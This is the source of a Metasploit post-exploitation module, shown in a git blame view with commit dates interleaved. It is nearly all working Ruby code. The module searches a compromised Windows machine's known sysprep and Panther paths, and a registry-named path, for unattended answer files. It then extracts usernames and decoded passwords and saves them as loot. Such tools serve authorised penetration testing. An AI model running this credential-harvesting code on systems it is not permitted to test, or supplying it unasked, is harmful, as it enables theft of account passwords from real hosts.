Files
metasploit-gs/modules/post/windows/gather/enum_unattend.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

160 lines
4.0 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Post::File
2021-08-16 16:34:50 +05:30
include Msf::Post::Windows::Registry
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Unattended Answer File Enumeration',
'Description' => %q{
2012-07-09 05:17:40 -05:00
This module will check the file system for a copy of unattend.xml and/or
2023-02-08 13:47:34 +00:00
autounattend.xml found in Windows Vista, or newer Windows systems. And then
extract sensitive information such as usernames and decoded passwords.
},
'License' => MSF_LICENSE,
'Author' => [
'Sean Verity <veritysr1980[at]gmail.com>',
2012-07-09 05:17:40 -05:00
'sinn3r',
'Ben Campbell'
],
2023-02-08 13:47:34 +00:00
'References' => [
2012-07-09 05:17:40 -05:00
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
2013-09-27 15:45:57 -05:00
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580']
],
2023-02-08 13:47:34 +00:00
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
)
)
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
register_options(
[
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
2023-02-08 13:47:34 +00:00
]
)
end
2013-08-30 16:28:54 -05:00
#
# Determine if unattend.xml exists or not
#
def unattend_exists?(xml_path)
2021-08-16 16:34:50 +05:30
exist?(xml_path)
end
2013-08-30 16:28:54 -05:00
#
2012-07-09 05:17:40 -05:00
# Read and parse the XML file
#
def load_unattend(xml_path)
print_status("Reading #{xml_path}")
2021-08-16 16:34:50 +05:30
raw = read_file(xml_path)
2013-08-30 16:28:54 -05:00
2012-07-01 13:50:43 -05:00
begin
2012-07-09 05:17:40 -05:00
xml = REXML::Document.new(raw)
2012-07-01 13:50:43 -05:00
rescue REXML::ParseException => e
2023-02-08 13:47:34 +00:00
print_error('Invalid XML format')
2012-07-01 13:50:43 -05:00
vprint_line(e.message)
2012-07-09 05:17:40 -05:00
return nil, raw
2012-07-01 13:50:43 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
return xml, raw
end
2013-08-30 16:28:54 -05:00
#
# Save Rex tables separately
#
2013-09-05 14:57:40 -05:00
def save_cred_tables(cred_table)
t = cred_table
2023-02-08 13:47:34 +00:00
vprint_line("\n#{t}\n")
p = store_loot('windows.unattended.creds', 'text/plain', session, t.to_csv, t.header, t.header)
2017-07-19 13:02:49 +01:00
print_good("#{t.header} saved as: #{p}")
end
2013-08-30 16:28:54 -05:00
#
# Save the raw version of unattend.xml
#
2012-07-09 09:44:22 -05:00
def save_raw(xmlpath, data)
return if data.empty?
2023-02-08 13:47:34 +00:00
2012-07-09 09:44:22 -05:00
fname = ::File.basename(xmlpath)
p = store_loot('windows.unattended.raw', 'text/plain', session, data)
2017-07-19 13:02:49 +01:00
print_good("Raw version of #{fname} saved as: #{p}")
end
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
#
# If we spot a path for the answer file, we should check it out too
#
def get_registry_unattend_path
# HKLM\System\Setup!UnattendFile
2023-02-08 13:47:34 +00:00
fname = registry_getvaldata('HKEY_LOCAL_MACHINE\\System\\Setup', 'UnattendFile')&.strip
2021-08-16 16:34:50 +05:30
return fname
2012-07-09 05:17:40 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
#
# Initialize all 7 possible paths for the answer file
#
def init_paths
2021-08-16 16:34:50 +05:30
drive = expand_path('%SystemDrive%')
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
files =
[
'unattend.xml',
'autounattend.xml'
]
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
target_paths =
[
"#{drive}\\",
"#{drive}\\Windows\\System32\\sysprep\\",
"#{drive}\\Windows\\panther\\",
"#{drive}\\Windows\\Panther\Unattend\\",
"#{drive}\\Windows\\System32\\"
]
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
paths = []
target_paths.each do |p|
files.each do |f|
paths << "#{p}#{f}"
end
end
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
# If there is one for registry, we add it to the list too
reg_path = get_registry_unattend_path
2021-08-16 16:34:50 +05:30
paths << reg_path unless reg_path.blank?
2012-07-09 05:17:40 -05:00
return paths
end
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
def run
2012-07-09 09:44:22 -05:00
init_paths.each do |xml_path|
2012-07-09 05:17:40 -05:00
# If unattend.xml doesn't exist, move on to the next one
unless unattend_exists?(xml_path)
2012-07-09 05:17:40 -05:00
vprint_error("#{xml_path} not found")
next
end
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
xml, raw = load_unattend(xml_path)
2012-07-09 09:44:22 -05:00
save_raw(xml_path, raw)
2013-08-30 16:28:54 -05:00
2012-07-09 05:17:40 -05:00
# XML failed to parse, will not go on from here
2013-09-27 15:55:57 -05:00
return unless xml
2013-08-30 16:28:54 -05:00
results = Rex::Parser::Unattend.parse(xml)
2013-09-05 14:57:40 -05:00
table = Rex::Parser::Unattend.create_table(results)
table.print unless table.nil?
print_line
2013-08-30 16:28:54 -05:00
# Save the data to a file, TODO: Save this as a Mdm::Cred maybe
2013-09-27 15:55:57 -05:00
save_cred_tables(table) unless table.nil?
2013-08-30 16:28:54 -05:00
2013-09-27 15:55:57 -05:00
return unless datastore['GETALL']
2012-07-09 05:17:40 -05:00
end
end
end